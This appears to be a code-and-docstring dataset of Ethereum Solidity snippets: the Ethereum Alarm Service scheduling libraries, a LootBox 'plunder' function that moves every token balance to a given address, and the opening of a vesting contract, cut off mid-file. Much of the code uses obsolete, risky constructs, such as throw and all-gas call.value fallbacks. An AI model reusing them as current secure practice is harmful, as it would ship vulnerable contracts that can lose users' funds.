self.bonds[resourceAddress] -= value;
}
/// @dev Adds the amount to an account's bond balance.
/// @param self The pool to operate on.
/// @param resourceAddress The address of the account
/// @param value The value to add.
function addToBond(Pool storage self, address resourceAddress, uint value) public {
/*
* Add funds to a bond value without risk of an
* overflow.
*/
if (self.bonds[resourceAddress] + value < self.bonds[resourceAddress]) {
// Prevent Overflow
throw;
}
self.bonds[resourceAddress] += value;
}
/// @dev Withdraws a bond amount from an address's bond account, sending them the corresponding amount in ether.
/// @param self The pool to operate on.
/// @param resourceAddress The address of the account
/// @param value The value to withdraw.
function withdrawBond(Pool storage self, address resourceAddress, uint value, uint minimumBond) public {
/*
* Only if you are not in either of the current call pools.
*/
// Prevent underflow
if (value > self.bonds[resourceAddress]) {
throw;
}
// Do a permissions check to be sure they can withdraw the
// funds.
if (isInPool(self, resourceAddress)) {
if (self.bonds[resourceAddress] - value < minimumBond) {
return;
}
}
deductFromBond(self, resourceAddress, value);
if (!resourceAddress.send(value)) {
// Potentially sending money to a contract that
// has a fallback function. So instead, try
// tranferring the funds with the call api.
if (!resourceAddress.call.gas(msg.gas).value(value)()) {
// Revert the entire transaction. No
// need to destroy the funds.
throw;
}
}
}
}
contract Relay {
address operator;
function Relay() {
operator = msg.sender;
}
function relayCall(address contractAddress, bytes4 abiSignature, bytes data) public returns (bool) {
if (msg.sender != operator) {
throw;
}
return contractAddress.call(abiSignature, data);
}
}
library ScheduledCallLib {
/*
* Address: 0x5c3623dcef2d5168dbe3e8cc538788cd8912d898
*/
struct CallDatabase {
Relay unauthorizedRelay;
Relay authorizedRelay;
bytes32 lastCallKey;
bytes lastData;
uint lastDataLength;
bytes32 lastDataHash;
ResourcePoolLib.Pool callerPool;
GroveLib.Index callIndex;
AccountingLib.Bank gasBank;
mapping (bytes32 => Call) calls;
mapping (bytes32 => bytes) data_registry;
mapping (bytes32 => bool) accountAuthorizations;
}
struct Call {
address contractAddress;
address scheduledBy;
uint calledAtBlock;
uint targetBlock;
uint8 gracePeriod;
uint nonce;
uint baseGasPrice;
uint gasPrice;
uint gasUsed;
uint gasCost;
uint payout;
uint fee;
address executedBy;
bytes4 abiSignature;
bool isCancelled;
bool wasCalled;
bool wasSuccessful;
bytes32 dataHash;
}
// The author (Piper Merriam) address.
address constant owner = 0xd3cda913deb6f67967b99d67acdfa1712c293601;
/*
* Getter methods for `Call` information
*/
function getCallContractAddress(CallDatabase storage self, bytes32 callKey) constant returns (address) {
return self.calls[callKey].contractAddress;
}
function getCallScheduledBy(CallDatabase storage self, bytes32 callKey) constant returns (address) {
return self.calls[callKey].scheduledBy;
}
function getCallCalledAtBlock(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].calledAtBlock;
}
function getCallGracePeriod(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].gracePeriod;
}
function getCallTargetBlock(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].targetBlock;
}
function getCallBaseGasPrice(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].baseGasPrice;
}
function getCallGasPrice(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].gasPrice;
}
function getCallGasUsed(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].gasUsed;
}
function getCallABISignature(CallDatabase storage self, bytes32 callKey) constant returns (bytes4) {
return self.calls[callKey].abiSignature;
}
function checkIfCalled(CallDatabase storage self, bytes32 callKey) constant returns (bool) {
return self.calls[callKey].wasCalled;
}
function checkIfSuccess(CallDatabase storage self, bytes32 callKey) constant returns (bool) {
return self.calls[callKey].wasSuccessful;
}
function checkIfCancelled(CallDatabase storage self, bytes32 callKey) constant returns (bool) {
return self.calls[callKey].isCancelled;
}
function getCallDataHash(CallDatabase storage self, bytes32 callKey) constant returns (bytes32) {
return self.calls[callKey].dataHash;
}
function getCallPayout(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].payout;
}
function getCallFee(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
return self.calls[callKey].fee;
}
/*
* Scheduling Authorization API
*/
function addAuthorization(CallDatabase storage self, address schedulerAddress, address contractAddress) public {
self.accountAuthorizations[sha3(schedulerAddress, contractAddress)] = true;
}
function removeAuthorization(CallDatabase storage self, address schedulerAddress, address contractAddress) public {
self.accountAuthorizations[sha3(schedulerAddress, contractAddress)] = false;
}
function checkAuthorization(CallDatabase storage self, address schedulerAddress, address contractAddress) constant returns (bool) {
return self.accountAuthorizations[sha3(schedulerAddress, contractAddress)];
}
/*
* Data Registry API
*/
function getCallData(CallDatabase storage self, bytes32 callKey) constant returns (bytes) {
return self.data_registry[self.calls[callKey].dataHash];
}
/*
* API used by Alarm service
*/
// The number of blocks that each caller in the pool has to complete their
// call.
uint constant CALL_WINDOW_SIZE = 16;
function getGenerationIdForCall(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
Call call = self.calls[callKey];
return ResourcePoolLib.getGenerationForWindow(self.callerPool, call.targetBlock, call.targetBlock + call.gracePeriod);
}
function getDesignatedCaller(CallDatabase storage self, bytes32 callKey, uint blockNumber) constant returns (address) {
/*
* Returns the caller from the current call pool who is
* designated as the executor of this call.
*/
Call call = self.calls[callKey];
if (blockNumber < call.targetBlock || blockNumber > call.targetBlock + call.gracePeriod) {
// blockNumber not within call window.
return 0x0;
}
// Check if we are in free-for-all window.
uint numWindows = call.gracePeriod / CALL_WINDOW_SIZE;
uint blockWindow = (blockNumber - call.targetBlock) / CALL_WINDOW_SIZE;
if (blockWindow + 2 > numWindows) {
// We are within the free-for-all period.
return 0x0;
}
// Lookup the pool that full contains the call window for this
// call.
uint generationId = ResourcePoolLib.getGenerationForWindow(self.callerPool, call.targetBlock, call.targetBlock + call.gracePeriod);
if (generationId == 0) {
// No pool currently in operation.
return 0x0;
}
var generation = self.callerPool.generations[generationId];
uint offset = uint(callKey) % generation.members.length;
return generation.members[(offset + blockWindow) % generation.members.length];
}
event _AwardedMissedBlockBonus(address indexed fromCaller, address indexed toCaller, uint indexed generationId, bytes32 callKey, uint blockNumber, uint bonusAmount);
function AwardedMissedBlockBonus(address fromCaller, address toCaller, uint generationId, bytes32 callKey, uint blockNumber, uint bonusAmount) public {
_AwardedMissedBlockBonus(fromCaller, toCaller, generationId, callKey, blockNumber, bonusAmount);
}
function getMinimumBond() constant returns (uint) {
return tx.gasprice * block.gaslimit;
}
function doBondBonusTransfer(CallDatabase storage self, address fromCaller, address toCaller) internal returns (uint) {
uint bonusAmount = getMinimumBond();
uint bondBalance = self.callerPool.bonds[fromCaller];
// If the bond balance is lower than the award
// balance, then adjust the reward amount to
// match the bond balance.
if (bonusAmount > bondBalance) {
bonusAmount = bondBalance;
}
// Transfer the funds fromCaller => toCaller
ResourcePoolLib.deductFromBond(self.callerPool, fromCaller, bonusAmount);
ResourcePoolLib.addToBond(self.callerPool, toCaller, bonusAmount);
return bonusAmount;
}
function awardMissedBlockBonus(CallDatabase storage self, address toCaller, bytes32 callKey) public {
var call = self.calls[callKey];
var generation = self.callerPool.generations[ResourcePoolLib.getGenerationForWindow(self.callerPool, call.targetBlock, call.targetBlock + call.gracePeriod)];
uint i;
uint bonusAmount;
address fromCaller;
uint numWindows = call.gracePeriod / CALL_WINDOW_SIZE;
uint blockWindow = (block.number - call.targetBlock) / CALL_WINDOW_SIZE;
// Check if we are within the free-for-all period. If so, we
// award from all pool members.
if (blockWindow + 2 > numWindows) {
address firstCaller = getDesignatedCaller(self, callKey, call.targetBlock);
for (i = call.targetBlock; i <= call.targetBlock + call.gracePeriod; i += CALL_WINDOW_SIZE) {
fromCaller = getDesignatedCaller(self, callKey, i);
if (fromCaller == firstCaller && i != call.targetBlock) {
// We have already gone through all of
// the pool callers so we should break
// out of the loop.
break;
}
if (fromCaller == toCaller) {
continue;
}
bonusAmount = doBondBonusTransfer(self, fromCaller, toCaller);
// Log the bonus was awarded.
AwardedMissedBlockBonus(fromCaller, toCaller, generation.id, callKey, block.number, bonusAmount);
}
return;
}
// Special case for single member and empty pools
if (generation.members.length < 2) {
return;
}
// Otherwise the award comes from the previous caller.
for (i = 0; i < generation.members.length; i++) {
// Find where the member is in the pool and
// award from the previous pool members bond.
if (generation.members[i] == toCaller) {
fromCaller = generation.members[(i + generation.members.length - 1) % generation.members.length];
bonusAmount = doBondBonusTransfer(self, fromCaller, toCaller);
// Log the bonus was awarded.
AwardedMissedBlockBonus(fromCaller, toCaller, generation.id, callKey, block.number, bonusAmount);
// Remove the caller from the next pool.
if (ResourcePoolLib.getNextGenerationId(self.callerPool) == 0) {
// This is the first address to modify the
// current pool so we need to setup the next
// pool.
ResourcePoolLib.createNextGeneration(self.callerPool);
}
ResourcePoolLib.removeFromGeneration(self.callerPool, ResourcePoolLib.getNextGenerationId(self.callerPool), fromCaller);
return;
}
}
}
/*
* Data registration API
*/
event _DataRegistered(bytes32 indexed dataHash);
function DataRegistered(bytes32 dataHash) constant {
_DataRegistered(dataHash);
}
function registerData(CallDatabase storage self, bytes data) public {
self.lastData.length = data.length - 4;
if (data.length > 4) {
for (uint i = 0; i < self.lastData.length; i++) {
self.lastData[i] = data[i + 4];
}
}
self.data_registry[sha3(self.lastData)] = self.lastData;
self.lastDataHash = sha3(self.lastData);
self.lastDataLength = self.lastData.length;
}
/*
* Call execution API
*/
// This number represents the constant gas cost of the addition
// operations that occur in `doCall` that cannot be tracked with
// msg.gas.
uint constant EXTRA_CALL_GAS = 153321;
// This number represents the overall overhead involved in executing a
// scheduled call.
uint constant CALL_OVERHEAD = 120104;
event _CallExecuted(address indexed executedBy, bytes32 indexed callKey);
function CallExecuted(address executedBy, bytes32 callKey) public {
_CallExecuted(executedBy, callKey);
}
event _CallAborted(address indexed executedBy, bytes32 indexed callKey, bytes18 reason);
function CallAborted(address executedBy, bytes32 callKey, bytes18 reason) public {
_CallAborted(executedBy, callKey, reason);
}
function doCall(CallDatabase storage self, bytes32 callKey, address msgSender) public {
uint gasBefore = msg.gas;
Call storage call = self.calls[callKey];
if (call.wasCalled) {
// The call has already been executed so don't do it again.
_CallAborted(msg.sender, callKey, "ALREADY CALLED");
return;
}
if (call.isCancelled) {
// The call was cancelled so don't execute it.
_CallAborted(msg.sender, callKey, "CANCELLED");
return;
}
if (call.contractAddress == 0x0) {
// This call key doesnt map to a registered call.
_CallAborted(msg.sender, callKey, "UNKNOWN");
return;
}
if (block.number < call.targetBlock) {
// Target block hasnt happened yet.
_CallAborted(msg.sender, callKey, "TOO EARLY");
return;
}
if (block.number > call.targetBlock + call.gracePeriod) {
// The blockchain has advanced passed the period where
// it was allowed to be called.
_CallAborted(msg.sender, callKey, "TOO LATE");
return;
}
uint heldBalance = getCallMaxCost(self, callKey);
if (self.gasBank.accountBalances[call.scheduledBy] < heldBalance) {
// The scheduledBy's account balance is less than the
// current gasLimit and thus potentiall can't pay for
// the call.
// Mark it as called since it was.
call.wasCalled = true;
// Log it.
_CallAborted(msg.sender, callKey, "INSUFFICIENT_FUNDS");
return;
}
// Check if this caller is allowed to execute the call.
if (self.callerPool.generations[ResourcePoolLib.getCurrentGenerationId(self.callerPool)].members.length > 0) {
address designatedCaller = getDesignatedCaller(self, callKey, block.number);
if (designatedCaller != 0x0 && designatedCaller != msgSender) {
// This call was reserved for someone from the
// bonded pool of callers and can only be
// called by them during this block window.
_CallAborted(msg.sender, callKey, "WRONG_CALLER");
return;
}
uint blockWindow = (block.number - call.targetBlock) / CALL_WINDOW_SIZE;
if (blockWindow > 0) {
// Someone missed their call so this caller
// gets to claim their bond for picking up
// their slack.
awardMissedBlockBonus(self, msgSender, callKey);
}
}
// Log metadata about the call.
call.gasPrice = tx.gasprice;
call.executedBy = msgSender;
call.calledAtBlock = block.number;
// Fetch the call data
var data = self.data_registry[call.dataHash];
// During the call, we need to put enough funds to pay for the
// call on hold to ensure they are available to pay the caller.
AccountingLib.withdraw(self.gasBank, call.scheduledBy, heldBalance);
// Mark whether the function call was successful.
if (checkAuthorization(self, call.scheduledBy, call.contractAddress)) {
call.wasSuccessful = self.authorizedRelay.relayCall.gas(msg.gas - CALL_OVERHEAD)(call.contractAddress, call.abiSignature, data);
}
else {
call.wasSuccessful = self.unauthorizedRelay.relayCall.gas(msg.gas - CALL_OVERHEAD)(call.contractAddress, call.abiSignature, data);
}
// Add the held funds back into the scheduler's account.
AccountingLib.deposit(self.gasBank, call.scheduledBy, heldBalance);
// Mark the call as having been executed.
call.wasCalled = true;
// Compute the scalar (0 - 200) for the fee.
uint feeScalar = getCallFeeScalar(call.baseGasPrice, call.gasPrice);
// Log how much gas this call used. EXTRA_CALL_GAS is a fixed
// amount that represents the gas usage of the commands that
// happen after this line.
call.gasUsed = (gasBefore - msg.gas + EXTRA_CALL_GAS);
call.gasCost = call.gasUsed * call.gasPrice;
// Now we need to pay the caller as well as keep fee.
// callerPayout -> call cost + 1%
// fee -> 1% of callerPayout
call.payout = call.gasCost * feeScalar * 101 / 10000;
call.fee = call.gasCost * feeScalar / 10000;
AccountingLib.deductFunds(self.gasBank, call.scheduledBy, call.payout + call.fee);
AccountingLib.addFunds(self.gasBank, msgSender, call.payout);
AccountingLib.addFunds(self.gasBank, owner, call.fee);
}
function getCallMaxCost(CallDatabase storage self, bytes32 callKey) constant returns (uint) {
/*
* tx.gasprice * block.gaslimit
*
*/
// call cost + 2%
var call = self.calls[callKey];
uint gasCost = tx.gasprice * block.gaslimit;
uint feeScalar = getCallFeeScalar(call.baseGasPrice, tx.gasprice);
return gasCost * feeScalar * 102 / 10000;
}
function getCallFeeScalar(uint baseGasPrice, uint gasPrice) constant returns (uint) {
/*
* Return a number between 0 - 200 to scale the fee based on
* the gas price set for the calling transaction as compared
* to the gas price of the scheduling transaction.
*
* - number approaches zero as the transaction gas price goes
* above the gas price recorded when the call was scheduled.
*
* - the number approaches 200 as the transaction gas price
* drops under the price recorded when the call was scheduled.
*
* This encourages lower gas costs as the lower the gas price
* for the executing transaction, the higher the payout to the
* caller.
*/
if (gasPrice > baseGasPrice) {
return 100 * baseGasPrice / gasPrice;
}
else {
return 200 - 100 * baseGasPrice / (2 * baseGasPrice - gasPrice);
}
}
/*
* Call Scheduling API
*/
// The result of `sha()` so that we can validate that people aren't
// looking up call data that failed to register.
bytes32 constant emptyDataHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
function computeCallKey(address scheduledBy, address contractAddress, bytes4 abiSignature, bytes32 dataHash, uint targetBlock, uint8 gracePeriod, uint nonce) constant returns (bytes32) {
return sha3(scheduledBy, contractAddress, abiSignature, dataHash, targetBlock, gracePeriod, nonce);
}
// Ten minutes into the future.
uint constant MAX_BLOCKS_IN_FUTURE = 40;
event _CallScheduled(bytes32 indexed callKey);
function CallScheduled(bytes32 callKey) public {
_CallScheduled(callKey);
}
event _CallRejected(bytes32 indexed callKey, bytes15 reason);
function CallRejected(bytes32 callKey, bytes15 reason) public {
_CallRejected(callKey, reason);
}
function getCallWindowSize() public returns (uint) {
return CALL_WINDOW_SIZE;
}
function getMinimumGracePeriod() public returns (uint) {
return 4 * CALL_WINDOW_SIZE;
}
function scheduleCall(CallDatabase storage self, address schedulerAddress, address contractAddress, bytes4 abiSignature, bytes32 dataHash, uint targetBlock, uint8 gracePeriod, uint nonce) public returns (bytes15) {
/*
* Primary API for scheduling a call. Prior to calling this
* the data should already have been registered through the
* `registerData` API.
*/
bytes32 callKey = computeCallKey(schedulerAddress, contractAddress, abiSignature, dataHash, targetBlock, gracePeriod, nonce);
if (dataHash != emptyDataHash && self.data_registry[dataHash].length == 0) {
// Don't allow registering calls if the data hash has
// not actually been registered. The only exception is
// the *emptyDataHash*.
return "NO_DATA";
}
if (targetBlock < block.number + MAX_BLOCKS_IN_FUTURE) {
// Don't allow scheduling further than
// MAX_BLOCKS_IN_FUTURE
return "TOO_SOON";
}
Call storage call = self.calls[callKey];
if (call.contractAddress != 0x0) {
return "DUPLICATE";
}
if (gracePeriod < getMinimumGracePeriod()) {
return "GRACE_TOO_SHORT";
}
self.lastCallKey = callKey;
call.contractAddress = contractAddress;
call.scheduledBy = schedulerAddress;
call.nonce = nonce;
call.abiSignature = abiSignature;
call.dataHash = dataHash;
call.targetBlock = targetBlock;
call.gracePeriod = gracePeriod;
call.baseGasPrice = tx.gasprice;
// Put the call into the grove index.
GroveLib.insert(self.callIndex, callKey, int(call.targetBlock));
return 0x0;
}
event _CallCancelled(bytes32 indexed callKey);
function CallCancelled(bytes32 callKey) public {
_CallCancelled(callKey);
}
// Two minutes
uint constant MIN_CANCEL_WINDOW = 8;
function cancelCall(CallDatabase storage self, bytes32 callKey, address msgSender) public returns (bool) {
Call storage call = self.calls[callKey];
if (call.scheduledBy != msgSender) {
// Nobody but the scheduler can cancel a call.
return false;
}
if (call.wasCalled) {
// No need to cancel a call that already was executed.
return false;
}
if (call.targetBlock - MIN_CANCEL_WINDOW <= block.number) {
// Call cannot be cancelled this close to execution.
return false;
}
call.isCancelled = true;
return true;
}
}
/*
* Ethereum Alarm Service
* Version 0.4.0
*
* address: 0x07307d0b136a79bac718f43388aed706389c4588
*/
contract Alarm {
/*
* Constructor
*
* - sets up relays
* - configures the caller pool.
*/
function Alarm() {
callDatabase.unauthorizedRelay = new Relay();
callDatabase.authorizedRelay = new Relay();
callDatabase.callerPool.freezePeriod = 80;
callDatabase.callerPool.rotationDelay = 80;
callDatabase.callerPool.overlapSize = 256;
}
ScheduledCallLib.CallDatabase callDatabase;
// The author (Piper Merriam) address.
address constant owner = 0xd3cda913deb6f67967b99d67acdfa1712c293601;
/*
* Account Management API
*/
function getAccountBalance(address accountAddress) constant public returns (uint) {
return callDatabase.gasBank.accountBalances[accountAddress];
}
function deposit() public {
deposit(msg.sender);
}
function deposit(address accountAddress) public {
/*
* Public API for depositing funds in a specified account.
*/
AccountingLib.deposit(callDatabase.gasBank, accountAddress, msg.value);
AccountingLib.Deposit(msg.sender, accountAddress, msg.value);
}
function withdraw(uint value) public {
/*
* Public API for withdrawing funds.
*/
if (AccountingLib.withdraw(callDatabase.gasBank, msg.sender, value)) {
AccountingLib.Withdrawal(msg.sender, value);
}
else {
AccountingLib.InsufficientFunds(msg.sender, value, callDatabase.gasBank.accountBalances[msg.sender]);
}
}
function() {
/*
* Fallback function that allows depositing funds just by
* sending a transaction.
*/
deposit(msg.sender);
}
/*
* Scheduling Authorization API
*/
function unauthorizedAddress() constant returns (address) {
return address(callDatabase.unauthorizedRelay);
}
function authorizedAddress() constant returns (address) {
return address(callDatabase.authorizedRelay);
}
function addAuthorization(address schedulerAddress) public {
ScheduledCallLib.addAuthorization(callDatabase, schedulerAddress, msg.sender);
}
function removeAuthorization(address schedulerAddress) public {
callDatabase.accountAuthorizations[sha3(schedulerAddress, msg.sender)] = false;
}
function checkAuthorization(address schedulerAddress, address contractAddress) constant returns (bool) {
return callDatabase.accountAuthorizations[sha3(schedulerAddress, contractAddress)];
}
/*
* Caller bonding
*/
function getMinimumBond() constant returns (uint) {
return ScheduledCallLib.getMinimumBond();
}
function depositBond() public {
ResourcePoolLib.addToBond(callDatabase.callerPool, msg.sender, msg.value);
}
function withdrawBond(uint value) public {
ResourcePoolLib.withdrawBond(callDatabase.callerPool, msg.sender, value, getMinimumBond());
}
function getBondBalance() constant returns (uint) {
return getBondBalance(msg.sender);
}
function getBondBalance(address callerAddress) constant returns (uint) {
return callDatabase.callerPool.bonds[callerAddress];
}
/*
* Pool Management
*/
function getGenerationForCall(bytes32 callKey) constant returns (uint) {
var call = callDatabase.calls[callKey];
return ResourcePoolLib.getGenerationForWindow(callDatabase.callerPool, call.targetBlock, call.targetBlock + call.gracePeriod);
}
function getGenerationSize(uint generationId) constant returns (uint) {
return callDatabase.callerPool.generations[generationId].members.length;
}
function getGenerationStartAt(uint generationId) constant returns (uint) {
return callDatabase.callerPool.generations[generationId].startAt;
}
function getGenerationEndAt(uint generationId) constant returns (uint) {
return callDatabase.callerPool.generations[generationId].endAt;
}
function getCurrentGenerationId() constant returns (uint) {
return ResourcePoolLib.getCurrentGenerationId(callDatabase.callerPool);
}
function getNextGenerationId() constant returns (uint) {
return ResourcePoolLib.getNextGenerationId(callDatabase.callerPool);
}
function isInPool() constant returns (bool) {
return ResourcePoolLib.isInPool(callDatabase.callerPool, msg.sender);
}
function isInPool(address callerAddress) constant returns (bool) {
return ResourcePoolLib.isInPool(callDatabase.callerPool, callerAddress);
}
function isInGeneration(uint generationId) constant returns (bool) {
return isInGeneration(msg.sender, generationId);
}
function isInGeneration(address callerAddress, uint generationId) constant returns (bool) {
return ResourcePoolLib.isInGeneration(callDatabase.callerPool, callerAddress, generationId);
}
/*
* Pool Meta information
*/
function getPoolFreezePeriod() constant returns (uint) {
return callDatabase.callerPool.freezePeriod;
}
function getPoolOverlapSize() constant returns (uint) {
return callDatabase.callerPool.overlapSize;
}
function getPoolRotationDelay() constant returns (uint) {
return callDatabase.callerPool.rotationDelay;
}
/*
* Pool Membership
*/
function canEnterPool() constant returns (bool) {
return ResourcePoolLib.canEnterPool(callDatabase.callerPool, msg.sender, getMinimumBond());
}
function canEnterPool(address callerAddress) constant returns (bool) {
return ResourcePoolLib.canEnterPool(callDatabase.callerPool, callerAddress, getMinimumBond());
}
function canExitPool() constant returns (bool) {
return ResourcePoolLib.canExitPool(callDatabase.callerPool, msg.sender);
}
function canExitPool(address callerAddress) constant returns (bool) {
return ResourcePoolLib.canExitPool(callDatabase.callerPool, callerAddress);
}
function enterPool() public {
uint generationId = ResourcePoolLib.enterPool(callDatabase.callerPool, msg.sender, getMinimumBond());
ResourcePoolLib.AddedToGeneration(msg.sender, generationId);
}
function exitPool() public {
uint generationId = ResourcePoolLib.exitPool(callDatabase.callerPool, msg.sender);
ResourcePoolLib.RemovedFromGeneration(msg.sender, generationId);
}
/*
* Call Information API
*/
function getLastCallKey() constant returns (bytes32) {
return callDatabase.lastCallKey;
}
/*
* Getter methods for `Call` information
*/
function getCallContractAddress(bytes32 callKey) constant returns (address) {
return ScheduledCallLib.getCallContractAddress(callDatabase, callKey);
}
function getCallScheduledBy(bytes32 callKey) constant returns (address) {
return ScheduledCallLib.getCallScheduledBy(callDatabase, callKey);
}
function getCallCalledAtBlock(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallCalledAtBlock(callDatabase, callKey);
}
function getCallGracePeriod(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallGracePeriod(callDatabase, callKey);
}
function getCallTargetBlock(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallTargetBlock(callDatabase, callKey);
}
function getCallBaseGasPrice(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallBaseGasPrice(callDatabase, callKey);
}
function getCallGasPrice(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallGasPrice(callDatabase, callKey);
}
function getCallGasUsed(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallGasUsed(callDatabase, callKey);
}
function getCallABISignature(bytes32 callKey) constant returns (bytes4) {
return ScheduledCallLib.getCallABISignature(callDatabase, callKey);
}
function checkIfCalled(bytes32 callKey) constant returns (bool) {
return ScheduledCallLib.checkIfCalled(callDatabase, callKey);
}
function checkIfSuccess(bytes32 callKey) constant returns (bool) {
return ScheduledCallLib.checkIfSuccess(callDatabase, callKey);
}
function checkIfCancelled(bytes32 callKey) constant returns (bool) {
return ScheduledCallLib.checkIfCancelled(callDatabase, callKey);
}
function getCallDataHash(bytes32 callKey) constant returns (bytes32) {
return ScheduledCallLib.getCallDataHash(callDatabase, callKey);
}
function getCallPayout(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallPayout(callDatabase, callKey);
}
function getCallFee(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallFee(callDatabase, callKey);
}
function getCallMaxCost(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getCallMaxCost(callDatabase, callKey);
}
function getCallData(bytes32 callKey) constant returns (bytes) {
return callDatabase.data_registry[callDatabase.calls[callKey].dataHash];
}
/*
* Data registration API
*/
function registerData() public {
ScheduledCallLib.registerData(callDatabase, msg.data);
ScheduledCallLib.DataRegistered(callDatabase.lastDataHash);
}
function getLastDataHash() constant returns (bytes32) {
return callDatabase.lastDataHash;
}
function getLastDataLength() constant returns (uint) {
return callDatabase.lastDataLength;
}
function getLastData() constant returns (bytes) {
return callDatabase.lastData;
}
/*
* Call execution API
*/
function doCall(bytes32 callKey) public {
ScheduledCallLib.doCall(callDatabase, callKey, msg.sender);
}
/*
* Call Scheduling API
*/
function getMinimumGracePeriod() constant returns (uint) {
return ScheduledCallLib.getMinimumGracePeriod();
}
function scheduleCall(address contractAddress, bytes4 abiSignature, bytes32 dataHash, uint targetBlock) public {
/*
* Schedule call with gracePeriod defaulted to 255 and nonce
* defaulted to 0.
*/
scheduleCall(contractAddress, abiSignature, dataHash, targetBlock, 255, 0);
}
function scheduleCall(address contractAddress, bytes4 abiSignature, bytes32 dataHash, uint targetBlock, uint8 gracePeriod) public {
/*
* Schedule call with nonce defaulted to 0.
*/
scheduleCall(contractAddress, abiSignature, dataHash, targetBlock, gracePeriod, 0);
}
function scheduleCall(address contractAddress, bytes4 abiSignature, bytes32 dataHash, uint targetBlock, uint8 gracePeriod, uint nonce) public {
/*
* Primary API for scheduling a call. Prior to calling this
* the data should already have been registered through the
* `registerData` API.
*/
bytes15 reason = ScheduledCallLib.scheduleCall(callDatabase, msg.sender, contractAddress, abiSignature, dataHash, targetBlock, gracePeriod, nonce);
bytes32 callKey = ScheduledCallLib.computeCallKey(msg.sender, contractAddress, abiSignature, dataHash, targetBlock, gracePeriod, nonce);
if (reason != 0x0) {
ScheduledCallLib.CallRejected(callKey, reason);
}
else {
ScheduledCallLib.CallScheduled(callKey);
}
}
function cancelCall(bytes32 callKey) public {
if (ScheduledCallLib.cancelCall(callDatabase, callKey, address(msg.sender))) {
ScheduledCallLib.CallCancelled(callKey);
}
}
/*
* Next Call API
*/
function getCallWindowSize() constant returns (uint) {
return ScheduledCallLib.getCallWindowSize();
}
function getGenerationIdForCall(bytes32 callKey) constant returns (uint) {
return ScheduledCallLib.getGenerationIdForCall(callDatabase, callKey);
}
function getDesignatedCaller(bytes32 callKey, uint blockNumber) constant returns (address) {
return ScheduledCallLib.getDesignatedCaller(callDatabase, callKey, blockNumber);
}
function getNextCall(uint blockNumber) constant returns (bytes32) {
return GroveLib.query(callDatabase.callIndex, ">=", int(blockNumber));
}
function getNextCallSibling(bytes32 callKey) constant returns (bytes32) {
return GroveLib.getNextNode(callDatabase.callIndex, callKey);
}
}
|
Retrieve the left child id of the node. index The index that the node is part of. id The id for the node to be looked up.
|
function getNodeLeftChild(Index storage index, bytes32 id) constant returns (bytes32) {
return index.nodes[id].left;
}
| 2,569,811 |
./full_match/4/0x1015C8703536735cDf170ccc75020D45312C739A/sources/contracts/LootBox.sol
|
Transfers tokens to another account erc20 Array of ERC20 token addresses whose entire balance should be transferred erc721 Array of WithdrawERC721 structs whose tokens should be transferred erc1155 Array of WithdrawERC1155 structs whose tokens should be transferred to The address receiving all tokens
|
function plunder(
IERC20[] memory erc20,
WithdrawERC721[] memory erc721,
WithdrawERC1155[] memory erc1155,
address payable to
) external {
_withdrawERC20(erc20, to);
_withdrawERC721(erc721, to);
_withdrawERC1155(erc1155, to);
transferEther(to, address(this).balance);
}
| 716,536 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "@openzeppelin/contracts-upgradeable/access/AccessControlUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/UUPSUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/math/SafeMathUpgradeable.sol";
contract VestPoolV3 is AccessControlUpgradeable, UUPSUpgradeable {
bytes32 public constant GM_ROLE = keccak256("GM_ROLE");
using SafeMathUpgradeable for uint256;
ERC20Upgradeable private MELDToken;
uint256 private tokensToVest;
uint256 private vestingId;
string private constant INSUFFICIENT_BALANCE = "Insufficient balance";
string private constant INVALID_VESTING_ID = "Invalid vesting id";
string private constant VESTING_ALREADY_RELEASED =
"Vesting already released";
string private constant INVALID_BENEFICIARY = "Invalid beneficiary address";
string private constant NOT_VESTED = "Tokens have not vested yet";
struct Vesting {
uint256 releaseTime;
uint256 amount;
address beneficiary;
bool released;
}
struct VC {
uint256 timeOfTGE;
uint256 amount;
uint256 cliffMonth;
uint256 vestingMonth;
uint256 unlockTGE;
address beneficiary;
bool recived;
}
mapping(uint256 => Vesting) public vestings;
mapping(address => VC) public vcmap;
event VCAdd(address indexed vcAddress);
event TokenVestingReleased(
uint256 indexed vestingId,
address indexed beneficiary,
uint256 amount
);
event TokenVestingAdded(
uint256 indexed vestingId,
address indexed beneficiary,
uint256 amount
);
event TokenVestingRemoved(
uint256 indexed vestingId,
address indexed beneficiary,
uint256 amount
);
function initialize(ERC20Upgradeable _token) public initializer {
require(
address(_token) != address(0x0),
"MELD token address is not valid"
);
__AccessControl_init();
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(GM_ROLE, msg.sender);
MELDToken = _token;
vestingId = 0;
tokensToVest = 0;
}
// Manual fixed v1 tokenToVest;
function fixedTokensToVest(uint256 _tokensToVest) public onlyRole(GM_ROLE) {
tokensToVest = _tokensToVest;
}
function viewTokenToVest() public view onlyRole(GM_ROLE) returns (uint256) {
return tokensToVest;
}
// Batch add VC list
